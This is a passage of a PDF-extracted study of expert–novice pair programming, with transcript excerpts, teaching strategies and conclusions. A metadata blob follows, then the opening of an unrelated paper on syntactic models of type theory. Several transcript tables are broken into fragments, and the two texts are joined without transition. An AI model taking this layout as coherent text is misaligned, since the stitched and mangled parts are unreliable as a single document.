<td>Expert:</td> <td>“Err.. no in terms of style not but err that happened quite often back then just because err…”</td> </tr> </tbody> </table> Expert keeps typing and replies while typing. | 4 | Expert: | “PreparedStatement with S, erm | Expert keeps typing for 5 sec without any comments and then briefly verbalises what he is typing. Example 8 Explanation by showing <table> <thead> <tr> <th>Line</th> <th>Speaker</th> <th>Talk</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>Expert:</td> <td>“So, now you can go over it and see whether it finds it. Have a look whether the activities exist. So, you can [...]”</td> </tr> <tr> <td>2</td> <td>Novice:</td> <td>“The activities?”</td> </tr> </tbody> </table> Novice leans a little bit back, takes her hand from the mouse, turns around, looks at the expert and says: Expert leans forward, takes the mouse and shows the novice how to use the debugger to check the values for the list entries. He removes his hand from the mouse, leans back again and puts his hand under the table. Example 7 illustrates how the expert addresses the novice questions verbally. In the excerpt, the developers are amending tests that have been written before. The expert is driving and the novice notes that the structure of the old tests does not conform to the current coding policy. He asks (line 2) the expert about the different styles. The expert starts explaining how the coding standards evolved and at the same time expresses his displeasure about the old structure of the existing code. In Example 8 the expert initiates a short role switch to show something to the novice. The novice is driving and the expert suggests what the novice should do next, which requires knowledge about the debugger. The novice does not seem to know how to do that. The novice leans back, looks at the expert and repeats the keyword “activities” as a question (line 2). The expert takes the mouse, shows the novice what he meant and takes his hands immediately back from the mouse. In both cases, the expert addresses the novice’s request for information. Depending on the information request it seemed to be easier to explain the knowledge verbally (for example, how do certain processes work, why have specific decisions been made) while in other cases it seemed to be easier, more convenient and maybe less time consuming to show steps rather than explain them. 4.2.2 Verbalisation Experts verbalise their activities and thoughts while driving. Verbalisation is not necessarily directed to the novice, but might help the expert to structure his/her own thoughts; as a result, it may help the novice to understand the expert’s thought process. **Example 9 Verbalisation** <table> <thead> <tr> <th>Line</th> <th>Speaker</th> <th>Talk</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>Expert:</td> <td>“Now, let’s have a look. I just open the tests. This is where I had started already. I just wanted to show that to you and then you may (drive) as well.”</td> </tr> <tr> <td>2</td> <td>Novice:</td> <td>“And this (test) always has everything in it? It will get big.”</td> </tr> <tr> <td>3</td> <td>Expert:</td> <td>“Right, yes, that will get a bit bigger. I leave it all in here for now and then we can think about whether we should create a second test class.”</td> </tr> </tbody> </table> Expert opens the test and then starts browsing through the code. <table> <thead> <tr> <th></th> <th>Novice:</th> <th>“And for this test, do all the other tests have to be run through before? Or could we get a specific one?”</th> </tr> </thead> <tbody> <tr> <td>5</td> <td>Expert:</td> <td>“So, I thought, we have this “before” here. Let’s go through it again. It creates one CommissionCalculation. That is here and it ... the DNS. This [experts navigates with mouse through the code] is adding a hint, this is adding the “invoices”, and this one is adding a First-Workflow among others. It sets the status in created, added and sets this as current Workflow.”</td> </tr> <tr> <td>6</td> <td>Novice:</td> <td>“Yes, this is what it just did.”</td> </tr> <tr> <td>7</td> <td>Expert:</td> <td>“And we also made sure it synchronises this automatically. Add the “recipients”, err [...] maybe that is not as important at the moment.”</td> </tr> </tbody> </table> In Example 9, the expert had worked a particular part of the code before and now goes through it again in order to explain the code to the novice (line 1). After some browsing through the code, the novice asks a question about the size of the test (line 2) and while the expert responds (line 3) he indicates that they should not focus on the size issue. During this exchange the expert is very focused on the screen (his eyes never leave the screen) and on understanding the code that he had written before. The subsequent question by the novice (line 4) is in fact ignored by the expert (line 5) who proceeds to verbalize his thought process about how the code works. The fact that he does not react to her comments indicates that he verbalises his thoughts for himself rather than to provide explanations for her, because if his main interest was to explain the code to her, he would pay attention to her comments. However, he stated in line 1 that he does want to explain the code to her, so it may be that he is concentrating on verbalising his thoughts and can’t take her viewpoint into account. This stresses that there might be a conflict between self-verbalisation and verbalising for the partner (this is discussed in detail in section 4.4). 4.3 In which ways do the roles of driver and navigator influence knowledge transfer in pair programming? The role being taken had a clear influence on the developers’ interactions, and on the novice’s engagement. In a previous study [29], we have shown that novices are at risk of disengaging from the PP session when navigating and when there is a lack of communication. In contrast here we focus on excerpts where experts and novice communicate and on excerpts when the novice is driving. We observed that the novices tend to be more active when driving. This shift in behaviour is illustrated in the next section. It also became apparent that novices are articulating what they doing when driving to get reassurance from the expert as described in section 4.3.2. 4.3.1 From a listener to an active participant We observed that novices act more like listeners when navigating and turn into active participants that verbalise their behaviours and ask questions when driving. Examples 10 and 11 describe role switches, demonstrating the contrast between the novice’s behaviour when navigating with that of being the driver. Example 11 is the same as Example 5, but it is repeated below to emphasise that it is a continuation of Example 10 in the PP session. Example 10 Role switch <table> <thead> <tr> <th>Line</th> <th>Speaker</th> <th>Talk</th> </tr> </thead> <tbody> <tr> <td>Line 1-10: Expert is driving. He keeps moving the cursor to the code fragments that he explains. The novice has his hands under the table.</td> <td></td> <td></td> </tr> <tr> <td>1</td> <td>Expert:</td> <td>“And that of course, leads to the point that not all entries are used, but [...]”</td> </tr> <tr> <td>2</td> <td>Novice:</td> <td>“Mhm, ok.”</td> </tr> <tr> <td>3</td> <td>Expert:</td> <td>“Or if you call execute twice at the same Prepared-Statement [...]”</td> </tr> <tr> <td>4</td> <td>Novice:</td> <td>“OK.”</td> </tr> </tbody> </table> And that of course leads to the fact that even when the fields are not used [...]” “OK.” “So and we do the same somehow when the method is close and we [...]” “Mhm.” “That is the code that we have [...] What we want to do now - aside from getting the big learning effect - err, is of course, eh, to instead of just using SQL, to ehm, it would be easier [...]” “Mhm.” “OK? So then we can change driver now..” Example 11 Role switch (continued) <table> <thead> <tr> <th>Line</th> <th>Speaker</th> <th>Talk</th> </tr> </thead> <tbody> <tr> <td>12</td> <td>Novice:</td> <td>“Ok, technically, we’d have to call a [...] job instead of calling a PreSQLStatement.”</td> </tr> </tbody> </table> No communication/no driving [3sec]. “In our case, we’d call a [...] job instead now. Right.” “Right. Ok, that means we somehow build us a class now that then just gets the job and executes it.” “Eventually, that would be the implementation. Yes.” “Good.” No communication/no driving [2sec] “We just have to tell the SQLFilterStatement somehow [...] that it executes it at the right time.” No communication/no driving [3sec] <p>| | | |</p> <table> <thead> <tr> <th></th> <th></th> <th></th> </tr> </thead> <tbody> <tr> <td>18</td> <td>Expert:</td> <td>“By instead of doing <code>PreSQLStatement [...]</code>, <code>PreSQL</code> or <code>PreListener</code> or <code>PostListener</code> or all in one. I don’t know.”</td> </tr> <tr> <td>19</td> <td>Novice:</td> <td>“Yes. Ok, but we would want to do that then by using the <code>Config-class</code>.”</td> </tr> </tbody> </table> Novice puts his hands on the keyboard and starts typing. <p>| | | |</p> <table> <thead> <tr> <th></th> <th></th> <th></th> </tr> </thead> <tbody> <tr> <td>20</td> <td>Expert:</td> <td>“Right. That is our only chance to intervene there.”</td> </tr> </tbody> </table> In the first 11 lines, the expert is driving and explains the code to the novice, using the mouse to highlight code snippets that are relevant for his explanation. While the expert is in control of the mouse, the novice keeps his hands under the table indicating that he is not trying to take on the role of driver. The novice appears to be an active listener but he is not asking any questions. In line 11, the expert mentions that it is time to switch roles. This is when the body language and the verbal involvement of the novice changes. The novice puts his hands on the desk but does not take the mouse or keyboard. He starts asking questions and makes suggestions about the actual implementation (Example 11 lines 12, 14, 19). The expert initially repeats his suggestions without adding new information and then adds information gradually (section 4.1.3). Eventually, the novice takes the keyboard and starts typing. This example illustrates the novice’s change of behaviour from being a passive participant (as navigator) to a more active participant (as driver). As a navigator it might be enough to understand the underlying concepts but as a driver detailed knowledge is required of the code and the next steps are required to perform the implementation. This means that letting the novice drive can be useful to ensure that detailed knowledge is transferred. However, it also means that the process of solving the task at hand might be slower as the novice will need detailed information about the task and possible solutions. 4.3.2 Articulation and re-assurance Novices tend to articulate their thoughts and verbalise their steps, their suggestions for solutions and reasoning behind them. A closer look at the verbalisation shows that novices seek for re-assurance about their actions from the experts. This is illustrated in Example 12. The novice verbalises her plans for the next steps (lines 1 and 3) and also asks for reassurance (line 5). The comments and questions are very detailed. This shows that letting the novice drive can encourage both expert and novice to be actively involved in discussing, understanding and solving the task at hand. Example 12 Novice driving <table> <thead> <tr> <th>Line</th> <th>Speaker</th> <th>Talk</th> </tr> </thead> <tbody> <tr> <td></td> <td></td> <td>Developers just switched roles and the novice takes the keyboard and starts creating a for-loop to check entries in a list.</td> </tr> <tr> <td>1</td> <td>Novice:</td> <td>“So, now here we have a “subject”. […] “From”. […] So, I just go through [the list] now and when I find one [activity], what am I doing with it then?”</td> </tr> <tr> <td>2</td> <td>Expert:</td> <td>“Technically, it should only find one, if we were good, then it should have only one “activity” with that “subject”.”</td> </tr> <tr> <td></td> <td></td> <td>Novice deletes the for–loop.</td> </tr> <tr> <td>3</td> <td>Novice:</td> <td>“Then, then I say “assert”.”</td> </tr> <tr> <td>4</td> <td>Expert:</td> <td>“Right.”</td> </tr> <tr> <td>5</td> <td>Novice:</td> <td>“So we just check afterwards?”</td> </tr> <tr> <td>6</td> <td>Expert:</td> <td>“Technically yes. Just, technically, it would be enough that there is exactly one “activity”.”</td> </tr> <tr> <td>7</td> <td>Novice:</td> <td>“Ah, ok, in the test I can see, that, what is in there. I’m still with my old <code>Sys . Out</code>.”</td> </tr> <tr> <td>8</td> <td>Expert:</td> <td>“No, we can debug that.”</td> </tr> </tbody> </table> 4.4 What challenges do developers with different knowledge levels face when pairing together? In a previous study [29], we analysed and presented challenges faced by novices in expert–novice constellations. For this paper, we focus on the challenges that experts face when trying to transfer knowledge. Experts seem to face challenges when they are driving and guiding the novice at the same time. 4.4.1 Conflict between self-verbalisation and communication with partner Example 9 illustrates the conflict of self-verbalisation and communication with partner. It is particularly interesting because the expert was intending to explain the code to the novice (line 1) but ends up focusing on understanding the code himself. As the session continues (shown in Example 13) the expert still focuses on the code and on his approach to solving the problem. The novice has a different problem solving approach and tries to communicate that idea to the expert but is not immediately successful. The expert reacts to the novice’s comments but does not really take the novice’s suggestions into account. However, then the expert realises that the novice had the right idea (Example 13, lines 7 and 10). **Example 13** Verbalisation (continued) <table> <thead> <tr> <th>Line</th> <th>Speaker</th> <th>Talk</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>Expert:</td> <td>“The first checkpoint should have gotten an email already. Just because I saved it here in the status edit […] because it is now in status <strong>created</strong>”</td> </tr> <tr> <td>2</td> <td>Novice:</td> <td>“None.”</td> </tr> <tr> <td>3</td> <td>Expert:</td> <td>“<strong>Created and None.</strong>”</td> </tr> <tr> <td>4</td> <td>Novice:</td> <td>“Yes, <strong>Created and None.</strong>”</td> </tr> <tr> <td></td> <td>Expert:</td> <td>“That means, if our logic is correct, what we just programmed, then we could indeed already search for an “activity”, that has the subject “from”, err, err from a work-flow that goes to the first checkpoint.”</td> </tr> <tr> <td>---</td> <td>---</td> <td>---</td> </tr> <tr> <td></td> <td>Novice:</td> <td>“Ah, but I understood that at the interface, the creator, so that the calculation will be delivered to the creator. Hence, the interface, the “wizard” sets the “workflow” to “first prove”. And we are at “first prove”. That means it must have passed it on.</td> </tr> <tr> <td></td> <td>Expert:</td> <td>“You’re right. I think this is how we did it here, didn’t we? I have to have a look again.”</td> </tr> <tr> <td></td> <td>Novice:</td> <td>“Yes, yes.”</td> </tr> <tr> <td></td> <td>Expert:</td> <td>“You’re right. For sure. That means that nothing has happened here yet. You’re right, completely right.”</td> </tr> </tbody> </table> The behaviour of the expert indicates that he is not able to cope simultaneously with the novice’s suggestions, with understanding the code and structuring his thoughts. However, neither of the developers seems to realise that; the expert does not ask for time to finish his thoughts nor does the novice stop making suggestions. This issue of thinking and communicating at the same time was also identified by experts during the interviews: “…complex, analytical and problems related to architecture. I prefer to work those kind of problems through in my head first. […] My point is I cannot communicate and share my thoughts when I have to think about complicated problems.” ### 4.4.2 The effort needed to explain Providing explanations for the novice can be an additional effort for the expert. In Example 7 the expert explains former coding conventions while working on the current tests. Hence, the expert has to switch context between his current activity of working on tests and his explanation about former coding conventions. In this case, the explanation is not directly related to his current activity. The expert’s explanations about the former coding conventions are frequently interrupted by breaks (err or pauses) and by verbalising what he is currently typing (line 4). This indicates the effort of switching the context between his task and his explanation. Furthermore, his typing slows down while he is explaining. In contrast, Example 8 provides an episode in which the explanation appears to be effortless for the expert. In that situation, both developers focus on the same problem and the expert explains the use of the debugger which is directly related to his current activity. This indicates that explanations that are not related to the current activity can lead to an additional cognitive effort. 4.4.3 Benefits of verbalisation and explanation Analysis of the interviews showed that novices can help experts to challenge their assumptions and reflect on the existing code and that working with a novice provides them with opportunities to learn themselves. These quotes from two of the interviews illustrate the developers’ perspectives: “It is good to work with her. She is always asking the right questions. I don’t perceive that as slowing me down [...] so she is asking automatically the right questions and that forces me to think about what I’m actually doing.” and “It is really helpful to work with him. When I work with someone who is already familiar with the code, the risk is that we overlook things because we have always done it like this [...] That happens less when working with a newbie because he does not know these parts of the code and so he asks questions about it. And then I feel like I’m being forced to reflect and to explain what the software is doing.” 5 Discussion This section returns to the three research questions. 5.1 RQ1: What teaching strategies do developers use in pair programming? Six strategies which experts combine to guide and teach novices in PP sessions emerged from our data analysis: (1) indirect hints, (2) pointing out problems, (3) gradually adding information, (4) giving clear instructions, (5) explanation, and (6) verbalisation. The knowledge transfer aspect of pair programming can be viewed as a kind of apprenticeship, but traditional apprenticeship involves learning a physical activity [11, 13] through social interactions while focusing on a task. Cognitive apprenticeship, on the other hand, focuses on learning “cognitive and meta-cognitive, rather than physical skills and processes” [12, p. 3]. Collins et al. [12, 11] stress the importance of making tacit processes visible for learners by making thinking visible. Given that software development requires cognitive and meta-cognitive skills and that the key to understanding software development is the reasoning and concepts behind it, rather than the physical act of typing, cognitive apprenticeship shares the same characteristics, and is therefore relevant to learning and improving software development skills. Comparing our strategies with the teaching methods suggested in cognitive apprenticeship [12], they can be viewed as specialisations of the teaching methods described there. This then provides further insights into strategies that might be used in PP as described below where we systematically relate the knowledge transfer strategies that emerged from our data with the teaching methods put forward by Collins: Comparing our strategies with the teaching methods suggested in cognitive apprenticeship [12], and viewing them as specialisations of the teaching methods described there provides insight into strategies that might be used in PP. The six teaching methods suggested by Collins et al. and how they relate to the six knowledge transfer strategies are described below. Modeling refers to the expert demonstrating a task and verbalising his or her thoughts at the same time to make the process of thinking visible. Strategies (5) and (6) are examples of Modeling: experts verbalised their thoughts while the expert is driving, and explained more when asked to. Coaching and Scaffolding describes the process of observing the learner while solving a task and providing support. Strategies (1)-(4) are examples of Coaching and Scaffolding used when the novice was driving. Strategies (1) and (2) make the novice solve the problem themselves. Strategy (3) helps to identify how much help the novice needs. Scaffolding should consider the current skill level of the learner as described by Vygotsky’s “Zone of Proximal Development”. He says that learners might be able to solve a task in collaboration with a more capable peer that they would not be able to solve independently. In contrast, strategy (4) does not enforce the same level of novice engagement. ”Giving clear instruction” is a less time-consuming Coaching approach but learning may suffer as the novice is not thinking for themselves. Articulation refers to learners being encouraged to articulate their knowledge, reasoning and problem-solving processes as Articulation refines the learner’s understanding. In none of the sessions did the expert explicitly encourage the novice to articulate their knowledge. Some form of Articulation was observed when the novice was driving (4.3.2). In this case, it seemed that articulation was used as a method to get reassurance from the expert rather than to make thinking visible. Reflection means that learners compare their own problem-solving process with those of others. This behaviour was not observed during our study. The method “exploration” is not included in the discussion because this method refers to helping a novice to choose suitable follow-up tasks to foster and advance their learning, and identifying such tasks would not normally be decided during PP sessions. --- 2 The strategies Coaching and Scaffolding were merged because Scaffolding is one form of Coaching and no clear delineation is provided So without any prior training, experts in a PP session are using cognitive apprenticeship teaching methods for knowledge transfer. But why don’t pair programmers use all of these strategies? Firstly, developers may just not be aware of cognitive apprenticeship. Secondly, Collins describes the methods in the context of education which differs from the context of PP. Although developers work together with the explicit aim to transfer knowledge from an expert to a novice, tasks are typically chosen according to agile prioritisation which considers business value, not educational progression. Moreover, knowledge transfer is not the exclusive aim of the session because developers work on their real-world tasks with the focus of finishing the project on time. This means that developers have to balance knowledge transfer and getting the task done effectively. One strategy from cognitive apprenticeship that could be applied to improve knowledge transfer in PP is that of articulation. Encouraging the novice to articulate was not observed in our PP sessions, yet it could expose novice’s thoughts. Vygotsky’s [39] “Zone of Proximal Development” could be used to identify suitable tasks and pair constellations to ensure that the task is manageable for the novice and that developer skill levels are not too far apart. 5.2 RQ2: **In which ways do the roles of driver and navigator influence knowledge transfer in pair programming?** Experts adapt their teaching strategies according to their role: they engage the novice through explanations and verbalisations while driving and guide the novice with instructions while navigating. Novices’ behaviours are also influenced by whether they are driving or navigating. Novices become more active and engage on a more detailed level when driving than they do when navigating. Novices are encouraged to think through, understand and solve parts of the problems by themselves when using strategies (1)-(3) and to perform the necessary steps by following the expert’s instructions when using strategy (4). This means that novices “learn by doing” when driving rather than observing. Example 11 shows that the novice asked more questions as soon as the expert suggested a role switch, thus seeming to engage more with the task. In the interviews, experts and novices agreed that if the novice drives it is beneficial for the novice learning but acknowledged that having the novice drive takes more time to solve the task than when the expert drives. This is in line with existing research that an “extremely effective style of learning by doing” occurs when learners solve as much of the work as possible guided by a tutor [22]. The novice’s behaviour in Example 11 indicates that novices hesitate when it is their turn to drive (in line with the findings in [29]) even though it is supposed to be beneficial for their learning process. Plonka et al. [28] showed that often the expert dominates the driving in expert–novice constellations. This emphasises how important it is for the expert to encourage role switches, and for the novice to be prepared to drive. 5.3 RQ3: What challenges do developers with different knowledge levels face when pairing together Expert–novice constellations provide learning opportunities for both partners, and experts also face challenges working with a novice. We do not report on challenges for the novice in this paper, but novice challenges such as social pressure are described in [29]. 5.3.1 Opportunities for expert learning Expert–novice constellations focus mainly on knowledge transfer from the expert to the novice, but this research identified learning opportunities for experts as well. Novices are usually less familiar with the code than the expert, so they can provide a different perspective on the problem and existing code. Novices might ask “simple questions” (see Example 7) that force the expert to rethink previously-held ideas thereby uncovering problems and leading to code improvements. The novice might also suggest solutions that an expert had not seen or considered (see Example 13). Novices have a “beginner’s mind”, which refers to people who are unfamiliar with a situation and who might consider more possibilities than an expert. Belshee [3] points out the positive effect of the beginner’s mind on knowledge transfer in PP and in the context of requirements engineering. Berry [4] points out that novices might ask questions that help to expose assumptions by experts. In the context of expert–novice constellations, this means that experts can benefit and learn from the fresh perspective of the novice and that simple questions might help the expert to challenge their own assumptions about the existing code. Another potential for expert learning is the process of verbalisation; talking about a problem might lead to a better understanding of the problem itself [8]. In the interviews, experts stated that explaining their thoughts to the novice helped them to structure their thoughts and think them through more thoroughly. Cao and Xu [7] also found that the process of verbalisation was helpful for the expert in order to readjust goals and reorganise thoughts even when the novice did not react to the explanation. 5.3.2 Expert challenges On the other hand, explaining and verbalising can be an additional cognitive effort for the experts. In Example 9, an expert was seen to struggle while working through a complex problem. The expert was using verbalisation to assist himself to work through the problem. It was challenging because the expert was verbalising in order to explain the code to the novice, and so the novice was free to ask questions and make comments during this time. The expert was not able to deal with both his verbalisation and the novice’s comments and questions. This stresses the importance of being aware that developers might verbalise to structure their own thoughts and hence might not be able to react to their partner’s comments until they have finished this process. PP has been described by some as an exhausting practice [41, 37]. While [41] ascribes this to developers focusing more on the task due to the pair pressure, our research shows that the effort of verbalization and explanation could be another reason why PP is more tiring than solo programming. 6 Limitations Whilst great care was taken in designing and conducting the study, we acknowledge that some issues in the data gathering, research method and the analysis could be viewed as limitations of the research. In particular we identify the following issues: Voluntary participation (potentially affecting completeness), developers being observed and recorded (potentially affecting generalizability), and detailed qualitative analysis based on a relatively small amount of data (potentially affecting completeness and generalizability). Note that none of these limitations affect the validity of the findings. 6.1 Voluntary participation Participation was voluntary for all developers. That is, developers from the identified companies were invited to participate, but no pressure was used to attempt to get all developers from each company to be involved. This means that developers who are confident in their pair programming skills or have a positive attitude towards pair programming might have been more likely to participate. This in turn may have affected the findings because less confident developers or developers with a negative attitude towards pair programming might exhibit different behaviours. This limitation potentially affects the completeness of our results. 6.2 Developers being observed and recorded Video and audio data were gathered during the pair programming sessions. Developers were informed about the recording before they started their sessions and it is possible that they modified their behaviour due to the fact that they knew they were being studied. To minimise the effect of participants feeling observed the recording setup was integrated in the developers workplace (using a webcam and wireless microphones that do not restrict any kind of movement, for example getting up from the chair). Additionally, in the interviews, developers were asked whether they had felt conscious of being observed. Some developers stated that they were aware of the webcam, others stated that they completely forgot about it once they started working on the task. Some developers even replied that they felt more observed by their partner than by our recording setup. This last statement suggests that pair programming sessions are situations in which developers might feel observed even without being recorded. This limitation potentially affects the generalisability of our results. 6.3 Detailed qualitative analysis based on a small amount of data In this paper, we used a detailed and qualitative analysis approach rather than a quantitative perspective on knowledge transfer in PP. This means that the very time-consuming steps (for example group viewing) of the interaction analysis were conducted on only a small subset of the overall data. However, all 21 sessions had been analysed previously to ensure that the excerpts present typical pair programming episodes. Therefore, these findings, while not generalisable, do capture a good degree of the variability faced within pair programming sessions. 7 Conclusions and Future Work So, what does it take to be a good “expert” and to learn best as a “novice”? We have shown that developers, without any explicit training, use strategies to transfer knowledge between expert and novice developers that are examples of some of the teaching methods used in cognitive apprenticeship – in particular using forms of Modeling, where the expert verbalizes their thought process, and Coaching and Scaffolding where novice developers are supported while they take an active part in the task. Not all of the teaching methods from cognitive apprenticeship were seen, and two of them (Reflection and Exploration) may not be easily transferrable to the specific context of agile software practice, where business value is typically prioritised over training needs, and the main focus is on producing code ready for integration. However, novice Articulation, where a novice verbalizes their own thought process, was not encouraged, yet this would enhance the novice’s learning experience. Not only was novice Articulation not encouraged in any of the exemplars we analysed in detail, we can also claim, due to step 1 in our procedure, that it did not feature in any of the sessions we recorded. Although experts need to make an effort to transfer knowledge, they regard sessions in which novices ask questions as rewarding since it helps them to reflect on their own practices and thus learn from the experience. An increased awareness of working practices for knowledge transfer in PP will help developers to maximise the benefits from such sessions, and provide learning opportunities even for the expert. This study focused on expert–novice constellations in order to highlight knowledge transfer activities, but a certain amount of knowledge transfer takes place in all PP sessions. One future direction will be to investigate which (if any) of these findings are evident in other PP sessions where knowledge transfer is not the main purpose. **Acknowledgements** We would like to thank all the developers and companies who made this research possible by participating in the studies." **References**
{"Source-Url": "http://oro.open.ac.uk/41032/8/41032ORO.pdf", "len_cl100k_base": 15840, "olmocr-version": "0.1.50", "pdf-total-pages": 44, "total-fallback-pages": 0, "total-input-tokens": 118772, "total-output-tokens": 18882, "length": "2e13", "weborganizer": {"__label__adult": 0.0007143020629882812, "__label__art_design": 0.0008463859558105469, "__label__crime_law": 0.00047087669372558594, "__label__education_jobs": 0.0355224609375, "__label__entertainment": 0.00014317035675048828, "__label__fashion_beauty": 0.00028967857360839844, "__label__finance_business": 0.000789642333984375, "__label__food_dining": 0.0006346702575683594, "__label__games": 0.0010595321655273438, "__label__hardware": 0.0007295608520507812, "__label__health": 0.0005445480346679688, "__label__history": 0.0003879070281982422, "__label__home_hobbies": 0.00021255016326904297, "__label__industrial": 0.0005841255187988281, "__label__literature": 0.0007710456848144531, "__label__politics": 0.0005488395690917969, "__label__religion": 0.0007576942443847656, "__label__science_tech": 0.005542755126953125, "__label__social_life": 0.00042557716369628906, "__label__software": 0.0059356689453125, "__label__software_dev": 0.94140625, "__label__sports_fitness": 0.0005884170532226562, "__label__transportation": 0.0009613037109375, "__label__travel": 0.0003559589385986328}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 78572, 0.02296]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 78572, 0.4866]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 78572, 0.94099]], "google_gemma-3-12b-it_contains_pii": [[0, 687, false], [687, 2319, null], [2319, 4348, null], [4348, 6360, null], [6360, 8689, null], [8689, 10680, null], [10680, 12315, null], [12315, 13873, null], [13873, 15818, null], [15818, 17883, null], [17883, 19896, null], [19896, 21938, null], [21938, 23662, null], [23662, 25622, null], [25622, 27627, null], [27627, 29162, null], [29162, 30984, null], [30984, 32375, null], [32375, 34539, null], [34539, 36639, null], [36639, 38154, null], [38154, 39047, null], [39047, 40956, null], [40956, 42945, null], [42945, 44665, null], [44665, 45771, null], [45771, 47799, null], [47799, 49420, null], [49420, 51009, null], [51009, 52588, null], [52588, 54605, null], [54605, 56640, null], [56640, 58798, null], [58798, 61021, null], [61021, 63104, null], [63104, 65131, null], [65131, 67160, null], [67160, 69402, null], [69402, 70939, null], [70939, 72796, null], [72796, 74545, null], [74545, 76460, null], [76460, 78270, null], [78270, 78572, null]], "google_gemma-3-12b-it_is_public_document": [[0, 687, true], [687, 2319, null], [2319, 4348, null], [4348, 6360, null], [6360, 8689, null], [8689, 10680, null], [10680, 12315, null], [12315, 13873, null], [13873, 15818, null], [15818, 17883, null], [17883, 19896, null], [19896, 21938, null], [21938, 23662, null], [23662, 25622, null], [25622, 27627, null], [27627, 29162, null], [29162, 30984, null], [30984, 32375, null], [32375, 34539, null], [34539, 36639, null], [36639, 38154, null], [38154, 39047, null], [39047, 40956, null], [40956, 42945, null], [42945, 44665, null], [44665, 45771, null], [45771, 47799, null], [47799, 49420, null], [49420, 51009, null], [51009, 52588, null], [52588, 54605, null], [54605, 56640, null], [56640, 58798, null], [58798, 61021, null], [61021, 63104, null], [63104, 65131, null], [65131, 67160, null], [67160, 69402, null], [69402, 70939, null], [70939, 72796, null], [72796, 74545, null], [74545, 76460, null], [76460, 78270, null], [78270, 78572, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 78572, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 78572, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 78572, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 78572, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 78572, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 78572, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 78572, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 78572, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 78572, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 78572, null]], "pdf_page_numbers": [[0, 687, 1], [687, 2319, 2], [2319, 4348, 3], [4348, 6360, 4], [6360, 8689, 5], [8689, 10680, 6], [10680, 12315, 7], [12315, 13873, 8], [13873, 15818, 9], [15818, 17883, 10], [17883, 19896, 11], [19896, 21938, 12], [21938, 23662, 13], [23662, 25622, 14], [25622, 27627, 15], [27627, 29162, 16], [29162, 30984, 17], [30984, 32375, 18], [32375, 34539, 19], [34539, 36639, 20], [36639, 38154, 21], [38154, 39047, 22], [39047, 40956, 23], [40956, 42945, 24], [42945, 44665, 25], [44665, 45771, 26], [45771, 47799, 27], [47799, 49420, 28], [49420, 51009, 29], [51009, 52588, 30], [52588, 54605, 31], [54605, 56640, 32], [56640, 58798, 33], [58798, 61021, 34], [61021, 63104, 35], [63104, 65131, 36], [65131, 67160, 37], [67160, 69402, 38], [69402, 70939, 39], [70939, 72796, 40], [72796, 74545, 41], [74545, 76460, 42], [76460, 78270, 43], [78270, 78572, 44]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 78572, 0.29293]]}
olmocr_science_pdfs
2024-11-29
2024-11-29
8f1a988a3d854442f371789865439fac9cc4e09d
The next 700 syntactical models of type theory Simon Boulier, Pierre-Marie Pédrot, Nicolas Tabareau To cite this version: Simon Boulier, Pierre-Marie Pédrot, Nicolas Tabareau. The next 700 syntactical models of type theory. Certified Programs and Proofs (CPP 2017), Jan 2017, Paris, France. pp.182 - 194, 10.1145/3018610.3018620. hal-01445835 Abstract A family of syntactic models for the calculus of construction with universes (CC$_\omega$) is described, all of them preserving conversion of the calculus definitionally, and thus giving rise directly to a program transformation of CC$_\omega$ into itself. Those models are based on the remark that negative type constructors (e.g., dependent product, coinductive types or universes) are underspecified in type theory—which leaves some freedom on extra intensional specifications. The model construction can be seen as a compilation phase from a complex type theory into a simpler type theory. Such models can be used to derive (the negative part of) independence results with respect to CC$_\omega$, such as functional extensionality, propositional extensionality, univalence or the fact that bisimulation on a coinductive type may not coincide with equality. They can also be used to add new principles to the theory, which we illustrate by defining a version of CC$_\omega$ with ad-hoc polymorphism that shows in particular that parame-tricity is not an implicit requirement of type theory. The correctness of some of the models/program transformations have been checked in the Coq proof assistant and have been instrumented as a Coq plugin. Categories and Subject Descriptors F.4.1 [MATHEMATICAL LOGIC AND FORMAL LANGUAGES]: Mathematical Logic Keywords Dependent type theory, Program translation 1. Introduction "Can we prove that $\forall x. f x = g x \rightarrow f = g$?", "What is the difference between $P \leftrightarrow Q$ and $P = Q$, when $P$ and $Q$ are two propositions?", "Can we prove that a term of type $\forall A. A \rightarrow A$ is necessarily the identity function?". Those simple questions are frequently asked to someone who starts teaching the use of a theorem prover based on type theory such as Coq (The Coq Development Team 2015) or Agda (The Agda Development Team 2015). However, the definitive answer to those questions is far from being simple as it involves proving the consistency of a type theory augmented with some logical principles or their negation. Traditionally, given a type theory described as a syntactic object, there are two ways to justify it. 1. The most standard one, coming all the way back from model theory, consists in building a model of it, usually into set theory or a given categorical structure. This amounts formally to translating the syntax into some well-behaved quotient. See e.g. (Werner 1997). 2. The most syntactical one consists in showing some good properties of the syntax, usually strong normalization and subject reduction, so as to derive the desired properties on the type theory. Each approach suffers from its own set of defects. Models of dependent type theory have been widely studied from a set theoretic point of view (see (Hoffman 1997) for a general overview), giving rise to several families of models, e.g., categories with families (Dybjer 1996), comprehension categories (Jacobs 1993), . . . But all those models of a type theory are built into some other fundational theory, putting back the burden on the consistency on the latter. This is unavoidable, because of the incompleteness theorem, and may be actually seen as an advantage when targeting such a stress-tested theory as set theory. Nonetheless, the discrepancy between the source theory and the target theory can be at the root of subtle but very important mismatches. 